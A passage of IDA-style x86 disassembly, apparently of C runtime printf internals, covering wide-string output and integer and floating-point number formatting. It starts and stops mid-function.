loc_40AEA3:				; CODE XREF: sub_40AE40+20j
		pop	esi
		pop	ebx
		retn	10h
sub_40AE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEB0	proc near		; CODE XREF: sub_409C30+B3p
					; sub_409C30+6E1p

var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		cmp	dword ptr [ebx+2Ch], 0
		jge	short loc_40AECE
		mov	[ebp+var_64], 7FFFFFFFh
		jmp	short loc_40AED4
; ---------------------------------------------------------------------------


loc_40AECE:				; CODE XREF: sub_40AEB0+13j
		mov	eax, [ebx+2Ch]
		mov	[ebp+var_64], eax


loc_40AED4:				; CODE XREF: sub_40AEB0+1Cj
		mov	eax, [ebp+var_64]
		mov	[ebp+var_4], eax
		movzx	eax, byte_4118A0
		mov	edx, [ebx+34h]
		add	eax, edx
		mov	[ebp+var_14], eax
		mov	[ebp+var_1C], 0
		mov	[ebp+var_18], 0
		test	word ptr [ebx+38h], 4
		jnz	short loc_40AF05
		cmp	[ebp+var_14], 40h
		ja	short loc_40AF14


loc_40AF05:				; CODE XREF: sub_40AEB0+4Dj
		lea	eax, [ebp+var_60]
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], 40h
		jmp	short loc_40AF2D
; ---------------------------------------------------------------------------


loc_40AF14:				; CODE XREF: sub_40AEB0+53j
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_4081A0
		pop	ecx
		mov	[ebp+var_10], eax
		test	eax, eax
		jnz	short loc_40AF2D
		or	eax, 0FFFFFFFFh
		jmp	loc_40AFF5
; ---------------------------------------------------------------------------


loc_40AF2D:				; CODE XREF: sub_40AEB0+62j
					; sub_40AEB0+73j
		test	esi, esi
		jnz	short loc_40AF36
		mov	esi, offset aNull ; "(null)"


loc_40AF36:				; CODE XREF: sub_40AEB0+7Fj
		mov	[ebp+var_20], 0
		jmp	short loc_40AFBB
; ---------------------------------------------------------------------------


loc_40AF3F:				; CODE XREF: sub_40AEB0+10Fj
		lea	eax, [ebp+var_1C]
		push	eax
		movzx	eax, word ptr [esi]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_40BEE0
		add	esp, 0Ch
		mov	edi, eax
		test	eax, eax
		jl	short loc_40AF66
		cmp	word ptr [esi],	0
		jnz	short loc_40AF6C
		dec	edi
		mov	eax, edi
		test	eax, eax
		jge	short loc_40AF6C


loc_40AF66:				; CODE XREF: sub_40AEB0+A7j
		or	[ebp+var_20], 0FFFFFFFFh
		jmp	short loc_40AFC5
; ---------------------------------------------------------------------------


loc_40AF6C:				; CODE XREF: sub_40AEB0+ADj
					; sub_40AEB0+B4j
		cmp	[ebp+var_4], edi
		jl	short loc_40AFC5
		mov	eax, [ebx+14h]
		add	eax, edi
		cmp	[ebp+var_14], eax
		jnb	short loc_40AF96
		mov	dword ptr [ebx+34h], 0
		mov	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_40A370
		add	esp, 8
		mov	dword ptr [ebx+14h], 0


loc_40AF96:				; CODE XREF: sub_40AEB0+C9j
		push	edi
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebx+14h]
		mov	edx, [ebp+var_10]
		add	eax, edx
		push	eax
		call	sub_407630
		add	esp, 0Ch
		add	[ebx+14h], edi
		cmp	word ptr [esi],	0
		jz	short loc_40AFC5
		add	esi, 2
		sub	[ebp+var_4], edi


loc_40AFBB:				; CODE XREF: sub_40AEB0+8Dj
		cmp	[ebp+var_4], 0
		jg	loc_40AF3F


loc_40AFC5:				; CODE XREF: sub_40AEB0+BAj
					; sub_40AEB0+BFj ...
		mov	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_40A370
		add	esp, 8
		mov	dword ptr [ebx+34h], 0
		mov	dword ptr [ebx+14h], 0
		lea	eax, [ebp+var_60]
		cmp	eax, [ebp+var_10]
		jz	short loc_40AFF2
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_4070F0
		pop	ecx


loc_40AFF2:				; CODE XREF: sub_40AEB0+136j
		mov	eax, [ebp+var_20]


loc_40AFF5:				; CODE XREF: sub_40AEB0+78j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B000	proc near		; CODE XREF: sub_409C30+256p
					; sub_409C30+3CAp ...

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 58h
		jnz	short loc_40B018
		mov	[ebp+var_34], offset a0123456789abcd ; "0123456789ABCDEF"
		jmp	short loc_40B01F
; ---------------------------------------------------------------------------


loc_40B018:				; CODE XREF: sub_40B000+Dj
		mov	[ebp+var_34], offset a0123456789ab_0 ; "0123456789abcdef"


loc_40B01F:				; CODE XREF: sub_40B000+16j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_24], eax
		cmp	[ebp+arg_4], 6Fh
		jnz	short loc_40B034
		mov	[ebp+var_38], 8
		jmp	short loc_40B04F
; ---------------------------------------------------------------------------


loc_40B034:				; CODE XREF: sub_40B000+29j
		mov	al, [ebp+arg_4]
		cmp	al, 78h
		jz	short loc_40B048
		cmp	al, 58h
		jz	short loc_40B048
		mov	[ebp+var_38], 0Ah
		jmp	short loc_40B04F
; ---------------------------------------------------------------------------


loc_40B048:				; CODE XREF: sub_40B000+39j
					; sub_40B000+3Dj
		mov	[ebp+var_38], 10h


loc_40B04F:				; CODE XREF: sub_40B000+32j
					; sub_40B000+46j
		mov	eax, [ebp+var_38]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 18h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx
		mov	al, [ebp+arg_4]
		cmp	al, 64h
		jz	short loc_40B075
		cmp	al, 69h
		jnz	short loc_40B09A


loc_40B075:				; CODE XREF: sub_40B000+6Fj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jg	short loc_40B09A
		jl	short loc_40B087
		test	eax, eax
		jnb	short loc_40B09A


loc_40B087:				; CODE XREF: sub_40B000+81j
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		neg	eax
		adc	edx, 0
		neg	edx
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx


loc_40B09A:				; CODE XREF: sub_40B000+73j
					; sub_40B000+7Fj ...
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		test	edx, edx
		jnz	short loc_40B0B1
		test	eax, eax
		jnz	short loc_40B0B1
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jz	short loc_40B0E1


loc_40B0B1:				; CODE XREF: sub_40B000+A2j
					; sub_40B000+A6j
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_3C], eax
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_30]
		mov	ebx, [ebp+var_2C]
		mov	edx, [ebp+var_8]
		mov	esi, edx
		mov	edi, esi
		sar	edi, 1Fh
		push	ebx
		push	ecx
		push	edi
		push	esi
		call	sub_40C130
		mov	edx, [ebp+var_24]
		mov	al, [edx+eax]
		mov	edx, [ebp+var_3C]
		mov	[ebp+edx+var_20], al


loc_40B0E1:				; CODE XREF: sub_40B000+AFj
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		mov	ecx, [ebp+var_8]
		mov	ebx, ecx
		sar	ebx, 1Fh
		push	edx
		push	eax
		push	ebx
		push	ecx
		call	sub_40AE40
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	[ecx+4], edx
		jmp	short loc_40B172
; ---------------------------------------------------------------------------


loc_40B102:				; CODE XREF: sub_40B000+188j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		mov	ecx, [ebp+var_8]
		mov	ebx, ecx
		sar	ebx, 1Fh
		push	edx
		push	eax
		push	ebx
		push	ecx
		call	sub_40C1B0
		mov	[ebp+var_48], eax
		mov	[ebp+var_44], edx
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4C], eax
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_8]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	esi, [ebp+var_48]
		mov	edi, [ebp+var_44]
		push	ebx
		push	ecx
		push	edi
		push	esi
		call	sub_40C260
		neg	eax
		adc	edx, 0
		neg	edx
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ecx+4]
		mov	ecx, [ecx]
		add	eax, ecx
		adc	edx, ebx
		mov	edx, [ebp+var_24]
		mov	al, [edx+eax]
		mov	edx, [ebp+var_4C]
		mov	[ebp+edx+var_20], al
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	ebx, [ebp+var_44]
		mov	[eax], ecx
		mov	[eax+4], ebx


loc_40B172:				; CODE XREF: sub_40B000+100j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jl	short loc_40B18E
		jg	short loc_40B184
		test	eax, eax
		jbe	short loc_40B18E


loc_40B184:				; CODE XREF: sub_40B000+17Ej
		cmp	[ebp+var_4], 0
		jg	loc_40B102


loc_40B18E:				; CODE XREF: sub_40B000+17Cj
					; sub_40B000+182j
		cmp	[ebp+var_8], 8
		jnz	short loc_40B1BA
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 8
		jz	short loc_40B1BA
		mov	eax, [ebp+var_4]
		cmp	eax, 18h
		jnb	short loc_40B1BA
		cmp	[ebp+eax+var_20], 30h
		jz	short loc_40B1BA
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	[ebp+eax+var_20], 30h


loc_40B1BA:				; CODE XREF: sub_40B000+192j
					; sub_40B000+19Dj ...
		mov	edx, [ebp+arg_0]
		mov	eax, 18h
		mov	ecx, [ebp+var_4]
		sub	eax, ecx
		mov	[edx+1Ch], eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		push	edx
		mov	edx, [ebp+var_4]
		lea	edx, [ebp+edx+var_20]
		push	edx
		mov	eax, [eax+10h]
		push	eax
		call	sub_407630
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		cmp	[eax+1Ch], edx
		jge	short loc_40B206
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		sub	edx, [eax+1Ch]
		mov	[eax+18h], edx
		mov	eax, [ebp+arg_0]
		and	word ptr [eax+38h], 0FFEFh
		jmp	short loc_40B237
; ---------------------------------------------------------------------------


loc_40B206:				; CODE XREF: sub_40B000+1EEj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_40B237
		movzx	edx, word ptr [eax+38h]
		and	edx, 14h
		cmp	edx, 10h
		jnz	short loc_40B237
		mov	edx, [eax+34h]
		sub	edx, [eax+14h]
		sub	edx, [eax+18h]
		sub	edx, [eax+1Ch]
		mov	[ebp+var_4], edx
		test	edx, edx
		jle	short loc_40B237
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	[edx+18h], eax


loc_40B237:				; CODE XREF: sub_40B000+204j
					; sub_40B000+20Dj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40B000	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40B240	proc near		; CODE XREF: sub_409C30+40Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40C2A0
		pop	ecx
		movsx	eax, ax
		retn
sub_40B240	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B250	proc near		; CODE XREF: sub_409C30+48Cp

var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= qword	ptr -58h
var_50		= qword	ptr -50h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_3E		= byte ptr -3Eh
var_3D		= byte ptr -3Dh
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= qword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		lea	eax, [ebp+var_3E]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fstp	[ebp+var_10]
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_40B26F
		cmp	al, 41h
		jnz	short loc_40B271


loc_40B26F:				; CODE XREF: sub_40B250+19j
		jmp	short loc_40B2A4
; ---------------------------------------------------------------------------


loc_40B271:				; CODE XREF: sub_40B250+1Dj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_40B286
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 6
		jmp	short loc_40B2A4
; ---------------------------------------------------------------------------


loc_40B286:				; CODE XREF: sub_40B250+28j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jnz	short loc_40B2A4
		mov	al, [ebp+arg_4]
		cmp	al, 67h
		jz	short loc_40B29A
		cmp	al, 47h
		jnz	short loc_40B2A4


loc_40B29A:				; CODE XREF: sub_40B250+44j
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 1


loc_40B2A4:				; CODE XREF: sub_40B250:loc_40B26Fj
					; sub_40B250+34j ...
		mov	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40C310
		add	esp, 8
		mov	[ebp+var_16], ax
		cmp	ax, 2
		jnz	short loc_40B309
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+1Ch], 3
		mov	eax, 3
		push	eax
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_40B2E1
		cmp	al, 65h
		jz	short loc_40B2E1
		cmp	al, 66h
		jz	short loc_40B2E1
		cmp	al, 67h
		jnz	short loc_40B2EA


loc_40B2E1:				; CODE XREF: sub_40B250+83j
					; sub_40B250+87j ...
		mov	[ebp+var_44], offset word_4100E2
		jmp	short loc_40B2F1
; ---------------------------------------------------------------------------


loc_40B2EA:				; CODE XREF: sub_40B250+8Fj
		mov	[ebp+var_44], offset word_4100DE


loc_40B2F1:				; CODE XREF: sub_40B250+98j
		mov	eax, [ebp+var_44]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		push	eax
		call	sub_407630
		add	esp, 0Ch
		jmp	loc_40B8A4
; ---------------------------------------------------------------------------


loc_40B309:				; CODE XREF: sub_40B250+6Cj
		cmp	[ebp+var_16], 0
		jle	short loc_40B35B
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+1Ch], 3
		mov	eax, 3
		push	eax
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_40B333
		cmp	al, 65h
		jz	short loc_40B333
		cmp	al, 66h
		jz	short loc_40B333
		cmp	al, 67h
		jnz	short loc_40B33C


loc_40B333:				; CODE XREF: sub_40B250+D5j
					; sub_40B250+D9j ...
		mov	[ebp+var_44], offset word_4100DA
		jmp	short loc_40B343
; ---------------------------------------------------------------------------


loc_40B33C:				; CODE XREF: sub_40B250+E1j
		mov	[ebp+var_44], offset off_4100D6


loc_40B343:				; CODE XREF: sub_40B250+EAj
		mov	eax, [ebp+var_44]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		push	eax
		call	sub_407630
		add	esp, 0Ch
		jmp	loc_40B8A4
; ---------------------------------------------------------------------------


loc_40B35B:				; CODE XREF: sub_40B250+BEj
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_40B366
		cmp	al, 41h
		jnz	short loc_40B39E


loc_40B366:				; CODE XREF: sub_40B250+110j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+10h]
		add	eax, 10h
		lea	ecx, [edx+1]
		mov	[eax], ecx
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+10h]
		add	eax, 10h
		lea	ecx, [edx+1]
		mov	[eax], ecx
		xor	eax, eax
		cmp	[ebp+arg_4], 61h
		setnz	al
		dec	eax
		and	eax, 20h
		add	eax, 58h
		mov	[edx], al
		mov	eax, [ebp+arg_0]
		add	dword ptr [eax+14h], 2


loc_40B39E:				; CODE XREF: sub_40B250+114j
		cmp	[ebp+var_16], 0
		jnz	short loc_40B3B6
		mov	[ebp+var_12], 0
		mov	[ebp+var_14], 0
		jmp	loc_40B885
; ---------------------------------------------------------------------------


loc_40B3B6:				; CODE XREF: sub_40B250+153j
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_40B3C5
		cmp	al, 41h
		jnz	loc_40B5CB


loc_40B3C5:				; CODE XREF: sub_40B250+16Bj
		cmp	[ebp+arg_4], 61h
		jnz	short loc_40B3D4
		mov	dword ptr [ebp+var_50+4], offset a0123456789ab_1 ; "0123456789abcdef"
		jmp	short loc_40B3DB
; ---------------------------------------------------------------------------


loc_40B3D4:				; CODE XREF: sub_40B250+179j
		mov	dword ptr [ebp+var_50+4], offset a0123456789ab_2 ; "0123456789ABCDEF"


loc_40B3DB:				; CODE XREF: sub_40B250+182j
		mov	eax, dword ptr [ebp+var_50+4]
		mov	[ebp+var_48], eax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_40B3F3
		mov	dword ptr [ebp+var_50],	21h
		jmp	short loc_40B3FD
; ---------------------------------------------------------------------------


loc_40B3F3:				; CODE XREF: sub_40B250+198j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		inc	eax
		mov	dword ptr [ebp+var_50],	eax


loc_40B3FD:				; CODE XREF: sub_40B250+1A1j
		mov	eax, dword ptr [ebp+var_50]
		mov	[ebp+var_12], ax
		movsx	eax, [ebp+var_12]
		inc	eax
		mov	[ebp+var_44], eax
		fld	dbl_4100AC
		fcomp	[ebp+var_10]
		fnstsw	ax
		sahf
		jbe	short loc_40B426
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fchs
		fstp	[ebp+var_58]
		jmp	short loc_40B42E
; ---------------------------------------------------------------------------


loc_40B426:				; CODE XREF: sub_40B250+1C8j
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fstp	[ebp+var_58]


loc_40B42E:				; CODE XREF: sub_40B250+1D4j
		fld	[ebp+var_58]
		fstp	[ebp+var_10]
		sub	[ebp+var_14], 4
		mov	eax, [ebp+var_4]
		lea	edx, [eax+1]
		mov	[ebp+var_4], edx
		mov	byte ptr [eax],	0
		jmp	loc_40B4D1
; ---------------------------------------------------------------------------


loc_40B44A:				; CODE XREF: sub_40B250+293j
		push	1Ch
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40C330
		add	esp, 8
		fld	[ebp+var_10]
		call	sub_40C350
		mov	[ebp+var_5C], eax
		mov	eax, [ebp+var_44]
		sub	eax, 7
		mov	[ebp+var_44], eax
		test	eax, eax
		jle	short loc_40B47B
		fld	[ebp+var_10]
		fild	[ebp+var_5C]
		fsubp	st(1), st
		fstp	[ebp+var_10]


loc_40B47B:				; CODE XREF: sub_40B250+21Ej
		mov	eax, [ebp+var_4]
		add	eax, 7
		mov	[ebp+var_4], eax
		mov	[ebp+var_60], 7
		jmp	short loc_40B4A0
; ---------------------------------------------------------------------------


loc_40B48D:				; CODE XREF: sub_40B250+25Fj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_5C]
		and	edx, 0Fh
		mov	[eax], dl
		sar	[ebp+var_5C], 4


loc_40B4A0:				; CODE XREF: sub_40B250+23Bj
		cmp	[ebp+var_5C], 0
		jle	short loc_40B4B1
		mov	eax, [ebp+var_60]
		dec	eax
		mov	[ebp+var_60], eax
		test	eax, eax
		jge	short loc_40B48D


loc_40B4B1:				; CODE XREF: sub_40B250+254j
		jmp	short loc_40B4BD
; ---------------------------------------------------------------------------


loc_40B4B3:				; CODE XREF: sub_40B250+276j
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	byte ptr [eax],	0


loc_40B4BD:				; CODE XREF: sub_40B250:loc_40B4B1j
		mov	eax, [ebp+var_60]
		dec	eax
		mov	[ebp+var_60], eax
		test	eax, eax
		jge	short loc_40B4B3
		mov	eax, [ebp+var_4]
		add	eax, 7
		mov	[ebp+var_4], eax


loc_40B4D1:				; CODE XREF: sub_40B250+1F5j
		cmp	[ebp+var_44], 0
		jle	short loc_40B4E9
		fld	[ebp+var_10]
		fcomp	dbl_4100AC
		fnstsw	ax
		sahf
		ja	loc_40B44A


loc_40B4E9:				; CODE XREF: sub_40B250+285j
		mov	eax, [ebp+var_4]
		lea	edx, [ebp+var_3D]
		sub	eax, edx
		mov	[ebp+var_44], eax
		lea	eax, [ebp+var_3D]
		mov	[ebp+var_4], eax
		movsx	eax, [ebp+var_12]
		cmp	[ebp+var_44], eax
		jge	short loc_40B50A
		mov	eax, [ebp+var_44]
		mov	[ebp+var_12], ax


loc_40B50A:				; CODE XREF: sub_40B250+2B1j
		cmp	[ebp+var_12], 0
		jl	loc_40B5AE
		mov	ax, [ebp+var_12]
		movsx	edx, ax
		cmp	edx, [ebp+var_44]
		jge	short loc_40B536
		movsx	eax, ax
		mov	edx, [ebp+var_4]
		cmp	byte ptr [edx+eax], 8
		jb	short loc_40B536
		mov	[ebp+var_64], 0Fh
		jmp	short loc_40B53D
; ---------------------------------------------------------------------------


loc_40B536:				; CODE XREF: sub_40B250+2CFj
					; sub_40B250+2DBj
		mov	[ebp+var_64], 0


loc_40B53D:				; CODE XREF: sub_40B250+2E4j
		mov	eax, [ebp+var_64]
		mov	byte ptr [ebp+var_60+3], al
		movsx	eax, [ebp+var_12]
		mov	[ebp+var_5C], eax
		jmp	short loc_40B551
; ---------------------------------------------------------------------------


loc_40B54C:				; CODE XREF: sub_40B250+311j
		sub	[ebp+var_12], 1


loc_40B551:				; CODE XREF: sub_40B250+2FAj
		mov	eax, [ebp+var_5C]
		dec	eax
		mov	[ebp+var_5C], eax
		mov	edx, [ebp+var_4]
		mov	cl, byte ptr [ebp+var_60+3]
		cmp	[edx+eax], cl
		jz	short loc_40B54C
		cmp	byte ptr [ebp+var_60+3], 0Fh
		jnz	short loc_40B574
		mov	eax, [ebp+var_5C]
		mov	edx, [ebp+var_4]
		add	eax, edx
		add	byte ptr [eax],	1


loc_40B574:				; CODE XREF: sub_40B250+317j
		cmp	[ebp+var_5C], 0
		jge	short loc_40B587
		dec	[ebp+var_4]
		add	[ebp+var_12], 1
		add	[ebp+var_14], 4


loc_40B587:				; CODE XREF: sub_40B250+328j
		movsx	eax, [ebp+var_12]
		mov	[ebp+var_5C], eax
		jmp	short loc_40B5A3
; ---------------------------------------------------------------------------


loc_40B590:				; CODE XREF: sub_40B250+35Cj
		mov	eax, [ebp+var_5C]
		mov	edx, [ebp+var_4]
		add	eax, edx
		movzx	edx, byte ptr [eax]
		mov	ecx, [ebp+var_48]
		mov	dl, [ecx+edx]
		mov	[eax], dl


loc_40B5A3:				; CODE XREF: sub_40B250+33Ej
		mov	eax, [ebp+var_5C]
		dec	eax
		mov	[ebp+var_5C], eax
		test	eax, eax
		jge	short loc_40B590


loc_40B5AE:				; CODE XREF: sub_40B250+2BFj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	loc_40B885
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+var_12]
		dec	eax
		mov	[edx+2Ch], eax
		jmp	loc_40B885
; ---------------------------------------------------------------------------


loc_40B5CB:				; CODE XREF: sub_40B250+16Fj
		fld	dbl_4100AC
		fcomp	[ebp+var_10]
		fnstsw	ax
		sahf
		jbe	short loc_40B5E1
		fld	[ebp+var_10]
		fchs
		fstp	[ebp+var_10]


loc_40B5E1:				; CODE XREF: sub_40B250+387j
		movsx	eax, [ebp+var_14]
		imul	eax, 7597h
		push	eax
		mov	edx, 14F8B589h
		imul	edx
		pop	eax
		shr	eax, 1Fh
		sar	edx, 0Dh
		add	eax, edx
		sub	eax, 4
		mov	[ebp+var_14], ax
		test	ax, ax
		jge	short loc_40B64C
		mov	eax, 3
		movsx	edx, [ebp+var_14]
		sub	eax, edx
		and	eax, 0FFFFFFFCh
		mov	[ebp+var_44], eax
		neg	eax
		mov	[ebp+var_14], ax
		mov	[ebp+var_48], 0
		jmp	short loc_40B644
; ---------------------------------------------------------------------------


loc_40B628:				; CODE XREF: sub_40B250+3F8j
		test	byte ptr [ebp+var_44], 1
		jz	short loc_40B63E
		fld	[ebp+var_10]
		mov	eax, [ebp+var_48]
		fmul	dbl_410054[eax*8]
		fstp	[ebp+var_10]


loc_40B63E:				; CODE XREF: sub_40B250+3DCj
		sar	[ebp+var_44], 1
		inc	[ebp+var_48]


loc_40B644:				; CODE XREF: sub_40B250+3D6j
		cmp	[ebp+var_44], 0
		jg	short loc_40B628
		jmp	short loc_40B69C
; ---------------------------------------------------------------------------


loc_40B64C:				; CODE XREF: sub_40B250+3B6j
		cmp	[ebp+var_14], 0
		jle	short loc_40B69C
		fld	dbl_4100A4
		fstp	[ebp+var_50]
		and	[ebp+var_14], 0FFFCh
		movsx	eax, [ebp+var_14]
		mov	[ebp+var_44], eax
		mov	[ebp+var_48], 0
		jmp	short loc_40B68D
; ---------------------------------------------------------------------------


loc_40B671:				; CODE XREF: sub_40B250+441j
		test	byte ptr [ebp+var_44], 1
		jz	short loc_40B687
		fld	[ebp+var_50]
		mov	eax, [ebp+var_48]
		fmul	dbl_410054[eax*8]
		fstp	[ebp+var_50]


loc_40B687:				; CODE XREF: sub_40B250+425j
		sar	[ebp+var_44], 1
		inc	[ebp+var_48]


loc_40B68D:				; CODE XREF: sub_40B250+41Fj
		cmp	[ebp+var_44], 0
		jg	short loc_40B671
		fld	[ebp+var_10]
		fdiv	[ebp+var_50]
		fstp	[ebp+var_10]


loc_40B69C:				; CODE XREF: sub_40B250+3FAj
					; sub_40B250+401j
		mov	al, [ebp+arg_4]
		cmp	al, 66h
		jz	short loc_40B6A7
		cmp	al, 46h
		jnz	short loc_40B6B3


loc_40B6A7:				; CODE XREF: sub_40B250+451j
		movsx	eax, [ebp+var_14]
		add	eax, 0Ah
		mov	[ebp+var_48], eax
		jmp	short loc_40B6BA
; ---------------------------------------------------------------------------


loc_40B6B3:				; CODE XREF: sub_40B250+455j
		mov	[ebp+var_48], 6


loc_40B6BA:				; CODE XREF: sub_40B250+461j
		mov	eax, [ebp+var_48]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+2Ch]
		add	eax, edx
		mov	[ebp+var_44], eax
		cmp	eax, 13h
		jle	short loc_40B6D4
		mov	[ebp+var_44], 13h


loc_40B6D4:				; CODE XREF: sub_40B250+47Bj
		mov	eax, [ebp+var_4]
		lea	edx, [eax+1]
		mov	[ebp+var_4], edx
		mov	byte ptr [eax],	30h
		jmp	loc_40B77A
; ---------------------------------------------------------------------------


loc_40B6E5:				; CODE XREF: sub_40B250+53Cj
		fld	[ebp+var_10]
		call	sub_40C350
		mov	dword ptr [ebp+var_50+4], eax
		mov	eax, [ebp+var_44]
		sub	eax, 8
		mov	[ebp+var_44], eax
		test	eax, eax
		jle	short loc_40B70E
		fld	[ebp+var_10]
		fild	dword ptr [ebp+var_50+4]
		fsubp	st(1), st
		fmul	dbl_41009C
		fstp	[ebp+var_10]


loc_40B70E:				; CODE XREF: sub_40B250+4ABj
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	[ebp+var_4], eax
		mov	dword ptr [ebp+var_50],	8
		jmp	short loc_40B749
; ---------------------------------------------------------------------------


loc_40B720:				; CODE XREF: sub_40B250+508j
		push	0Ah
		mov	eax, dword ptr [ebp+var_50+4]
		push	eax
		call	sub_40C380
		add	esp, 8
		mov	dword ptr [ebp+var_58],	eax
		mov	dword ptr [ebp+var_58+4], edx
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	edx, dword ptr [ebp+var_58+4]
		add	edx, 30h
		mov	[eax], dl
		mov	eax, dword ptr [ebp+var_58]
		mov	dword ptr [ebp+var_50+4], eax


loc_40B749:				; CODE XREF: sub_40B250+4CEj
		cmp	dword ptr [ebp+var_50+4], 0
		jle	short loc_40B75A
		mov	eax, dword ptr [ebp+var_50]
		dec	eax
		mov	dword ptr [ebp+var_50],	eax
		test	eax, eax
